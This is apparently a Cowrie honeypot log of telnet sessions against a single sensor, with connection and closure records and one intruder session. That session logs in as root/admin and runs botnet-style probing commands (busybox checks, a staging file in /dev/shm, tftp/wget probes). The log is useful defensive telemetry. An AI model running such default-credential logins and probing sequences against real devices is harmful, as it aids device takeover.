{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":38732,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf8682f13c1c","protocol":"telnet","message":"New connection: 154.53.41.252:38732 (159.203.135.109:23) [session: cf8682f13c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:49.576360Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":39470,"dst_ip":"159.203.135.109","dst_port":23,"session":"809647dad88f","protocol":"telnet","message":"New connection: 154.53.41.252:39470 (159.203.135.109:23) [session: 809647dad88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:50.109488Z"}
{"eventid":"cowrie.session.closed","duration":30.799035787582397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:50.114573Z","src_ip":"154.53.41.252","session":"8297902a895a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46401834487915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:50.919290Z","src_ip":"154.53.41.252","session":"d65cc7e60fac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23907732963562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:51.896631Z","src_ip":"154.53.41.252","session":"39900559f80a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42808,"dst_ip":"159.203.135.109","dst_port":23,"session":"f75895096a90","protocol":"telnet","message":"New connection: 154.53.41.252:42808 (159.203.135.109:23) [session: f75895096a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:52.167404Z"}
{"eventid":"cowrie.session.closed","duration":120.00135040283203,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:53.407619Z","src_ip":"157.49.80.15","session":"d982c7f36561","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.904020309448242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:53.906539Z","src_ip":"154.53.41.252","session":"cb77a9557ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25772762298584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:54.447452Z","src_ip":"154.53.41.252","session":"d263a8b8a498","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962153434753418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:55.055605Z","src_ip":"154.53.41.252","session":"c95cdf80e0c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":47788,"dst_ip":"159.203.135.109","dst_port":23,"session":"f28bb35e8754","protocol":"telnet","message":"New connection: 154.53.41.252:47788 (159.203.135.109:23) [session: f28bb35e8754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:55.112371Z"}
{"eventid":"cowrie.session.closed","duration":120.00137591362,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:55.793000Z","src_ip":"157.49.80.15","session":"89fbee2b546d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67227292060852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:55.945457Z","src_ip":"103.211.218.218","session":"36f5c664e047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":24168,"dst_ip":"10.17.0.5","dst_port":23,"session":"d86e8f929b10","protocol":"telnet","message":"New connection: 157.49.80.15:24168 (10.17.0.5:23) [session: d86e8f929b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:56.419914Z"}
{"eventid":"cowrie.session.closed","duration":31.272376775741577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:56.711092Z","src_ip":"154.53.41.252","session":"907f64ab3f24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.742872953414917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:56.791285Z","src_ip":"154.53.41.252","session":"411063da8c41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44138479232788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:58.151619Z","src_ip":"154.53.41.252","session":"d53e8c6cfdcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":52836,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b76d18a35e9","protocol":"telnet","message":"New connection: 154.53.41.252:52836 (159.203.135.109:23) [session: 2b76d18a35e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:58.309516Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":52872,"dst_ip":"159.203.135.109","dst_port":23,"session":"82493e1d7365","protocol":"telnet","message":"New connection: 154.53.41.252:52872 (159.203.135.109:23) [session: 82493e1d7365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:58.327529Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":55296,"dst_ip":"159.203.135.109","dst_port":23,"session":"6005c22fa362","protocol":"telnet","message":"New connection: 80.65.211.42:55296 (159.203.135.109:23) [session: 6005c22fa362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:59.324812Z"}
{"eventid":"cowrie.session.closed","duration":30.786011934280396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:00.113264Z","src_ip":"154.53.41.252","session":"3f2e730d8bff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.522648334503174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:00.160313Z","src_ip":"154.53.41.252","session":"a6cc7dd294c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":57670,"dst_ip":"159.203.135.109","dst_port":23,"session":"b99082c91232","protocol":"telnet","message":"New connection: 154.53.41.252:57670 (159.203.135.109:23) [session: b99082c91232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:01.196940Z"}
{"eventid":"cowrie.session.closed","duration":30.658857583999634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:02.009897Z","src_ip":"154.53.41.252","session":"bcd12059e891","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68196439743042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:03.234786Z","src_ip":"154.53.41.252","session":"9d9cdf85f780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":34166,"dst_ip":"159.203.135.109","dst_port":23,"session":"e334d686bd03","protocol":"telnet","message":"New connection: 154.53.41.252:34166 (159.203.135.109:23) [session: e334d686bd03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:04.238903Z"}
{"eventid":"cowrie.session.connect","src_ip":"93.21.252.43","src_port":44871,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e6ff2f7ef56","protocol":"telnet","message":"New connection: 93.21.252.43:44871 (159.203.135.109:23) [session: 9e6ff2f7ef56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:05.232436Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:05.645996Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:05.692421Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":36504,"dst_ip":"159.203.135.109","dst_port":23,"session":"52adb3a29987","protocol":"telnet","message":"New connection: 154.53.41.252:36504 (159.203.135.109:23) [session: 52adb3a29987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:05.700345Z"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:05.820661Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:05.826800Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:05.830918Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:05.834826Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:05.839222Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:05.842974Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":36812,"dst_ip":"159.203.135.109","dst_port":23,"session":"988c85f859b0","protocol":"telnet","message":"New connection: 154.53.41.252:36812 (159.203.135.109:23) [session: 988c85f859b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:05.962530Z"}
{"eventid":"cowrie.command.input","input":"cat /proc/mounts; /bin/busybox XPHIF","message":"CMD: cat /proc/mounts; /bin/busybox XPHIF","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:06.001701Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XPHIF","message":"CMD: cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XPHIF","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:06.134181Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"tftp; wget; /bin/busybox XPHIF","message":"CMD: tftp; wget; /bin/busybox XPHIF","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:06.263800Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s","message":"CMD: dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:06.394967Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"while read i","message":"Command not found: while read i","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:06.400425Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":48590,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6c947b194a1","protocol":"telnet","message":"New connection: 157.173.110.44:48590 (10.17.0.5:23) [session: d6c947b194a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:06.517742Z"}
{"eventid":"cowrie.command.input","input":"/bin/busybox XPHIF","message":"CMD: /bin/busybox XPHIF","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:06.529477Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"rm .s; exit","message":"CMD: rm .s; exit","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:06.534663Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"q","message":"CMD: q","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:06.538505Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"q ","message":"Command not found: q ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:06.541666Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/559aa1194e186933c9c9c1d5bf77f96eb7b3a3e1704ffeb7f995b61b634a441c","size":3454,"shasum":"559aa1194e186933c9c9c1d5bf77f96eb7b3a3e1704ffeb7f995b61b634a441c","duplicate":false,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/559aa1194e186933c9c9c1d5bf77f96eb7b3a3e1704ffeb7f995b61b634a441c after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:06.548368Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.32625150680542,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:06.558598Z","src_ip":"93.21.252.43","session":"9e6ff2f7ef56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.11263370513916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:07.034315Z","src_ip":"154.53.41.252","session":"54cc036062a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":41622,"dst_ip":"159.203.135.109","dst_port":23,"session":"05b697b4a762","protocol":"telnet","message":"New connection: 154.53.41.252:41622 (159.203.135.109:23) [session: 05b697b4a762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:08.996661Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":43740,"dst_ip":"159.203.135.109","dst_port":23,"session":"faebdaa754ec","protocol":"telnet","message":"New connection: 154.53.41.252:43740 (159.203.135.109:23) [session: faebdaa754ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:10.418734Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":43802,"dst_ip":"159.203.135.109","dst_port":23,"session":"aee2ff4c176f","protocol":"telnet","message":"New connection: 154.53.41.252:43802 (159.203.135.109:23) [session: aee2ff4c176f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:10.464242Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":44136,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf5843472be0","protocol":"telnet","message":"New connection: 154.53.41.252:44136 (159.203.135.109:23) [session: cf5843472be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:10.707486Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":44774,"dst_ip":"159.203.135.109","dst_port":23,"session":"14aa39f9de7f","protocol":"telnet","message":"New connection: 154.53.41.252:44774 (159.203.135.109:23) [session: 14aa39f9de7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:11.179837Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":44956,"dst_ip":"159.203.135.109","dst_port":23,"session":"30c928bd61c7","protocol":"telnet","message":"New connection: 154.53.41.252:44956 (159.203.135.109:23) [session: 30c928bd61c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:11.311467Z"}
{"eventid":"cowrie.session.closed","duration":30.740103483200073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:13.074075Z","src_ip":"154.53.41.252","session":"bd53ef69c6bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":47884,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4c110f2756b","protocol":"telnet","message":"New connection: 154.53.41.252:47884 (159.203.135.109:23) [session: c4c110f2756b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:13.160734Z"}
{"eventid":"cowrie.session.closed","duration":30.659138917922974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:14.040064Z","src_ip":"154.53.41.252","session":"e24d47286707","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":41598,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe116f93eb04","protocol":"telnet","message":"New connection: 157.173.110.44:41598 (10.17.0.5:23) [session: fe116f93eb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:14.178757Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":41606,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb1e872bc1d","protocol":"telnet","message":"New connection: 157.173.110.44:41606 (10.17.0.5:23) [session: 1fb1e872bc1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:14.743104Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":50366,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6d1444e1c4e","protocol":"telnet","message":"New connection: 154.53.41.252:50366 (159.203.135.109:23) [session: e6d1444e1c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:14.867350Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":50434,"dst_ip":"159.203.135.109","dst_port":23,"session":"1348fda3859d","protocol":"telnet","message":"New connection: 154.53.41.252:50434 (159.203.135.109:23) [session: 1348fda3859d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:14.888718Z"}
{"eventid":"cowrie.session.closed","duration":30.84877920150757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:17.175351Z","src_ip":"154.53.41.252","session":"59156d88f461","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":41614,"dst_ip":"10.17.0.5","dst_port":23,"session":"009fe0af6886","protocol":"telnet","message":"New connection: 157.173.110.44:41614 (10.17.0.5:23) [session: 009fe0af6886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:17.895173Z"}
{"eventid":"cowrie.session.closed","duration":30.563623428344727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:18.018409Z","src_ip":"154.53.41.252","session":"ac49e71c4ee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":56300,"dst_ip":"159.203.135.109","dst_port":23,"session":"16a585c4e2cc","protocol":"telnet","message":"New connection: 154.53.41.252:56300 (159.203.135.109:23) [session: 16a585c4e2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:18.357858Z"}
{"eventid":"cowrie.session.closed","duration":30.96316146850586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:18.756528Z","src_ip":"80.65.211.42","session":"7e457d15031e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.269910097122192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:19.030047Z","src_ip":"154.53.41.252","session":"85f0f1f39859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":41630,"dst_ip":"10.17.0.5","dst_port":23,"session":"2254d5d2e85e","protocol":"telnet","message":"New connection: 157.173.110.44:41630 (10.17.0.5:23) [session: 2254d5d2e85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:19.303128Z"}
{"eventid":"cowrie.session.closed","duration":30.45732593536377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:20.033555Z","src_ip":"154.53.41.252","session":"cf8682f13c1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11083674430847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:20.089178Z","src_ip":"154.53.41.252","session":"eea1bfae0c3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":59904,"dst_ip":"159.203.135.109","dst_port":23,"session":"b96c9cbbfd66","protocol":"telnet","message":"New connection: 154.53.41.252:59904 (159.203.135.109:23) [session: b96c9cbbfd66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:20.420704Z"}
{"eventid":"cowrie.session.closed","duration":30.96088933944702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:21.070234Z","src_ip":"154.53.41.252","session":"809647dad88f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":35810,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2a92aee5445","protocol":"telnet","message":"New connection: 154.53.41.252:35810 (159.203.135.109:23) [session: f2a92aee5445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:22.867777Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":36308,"dst_ip":"159.203.135.109","dst_port":23,"session":"115d875c0596","protocol":"telnet","message":"New connection: 154.53.41.252:36308 (159.203.135.109:23) [session: 115d875c0596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:23.172632Z"}
{"eventid":"cowrie.session.closed","duration":31.551625967025757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:23.718925Z","src_ip":"154.53.41.252","session":"f75895096a90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57330,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3cb253daa2e","protocol":"telnet","message":"New connection: 157.173.110.44:57330 (10.17.0.5:23) [session: f3cb253daa2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:24.488100Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57344,"dst_ip":"10.17.0.5","dst_port":23,"session":"29b218db8123","protocol":"telnet","message":"New connection: 157.173.110.44:57344 (10.17.0.5:23) [session: 29b218db8123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:24.947230Z"}
{"eventid":"cowrie.session.closed","duration":31.086785316467285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:26.199031Z","src_ip":"154.53.41.252","session":"f28bb35e8754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":43046,"dst_ip":"159.203.135.109","dst_port":23,"session":"00ff4b211663","protocol":"telnet","message":"New connection: 154.53.41.252:43046 (159.203.135.109:23) [session: 00ff4b211663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:26.859282Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":45166,"dst_ip":"159.203.135.109","dst_port":23,"session":"95f645ca9b38","protocol":"telnet","message":"New connection: 154.53.41.252:45166 (159.203.135.109:23) [session: 95f645ca9b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:12:28.140438Z"}
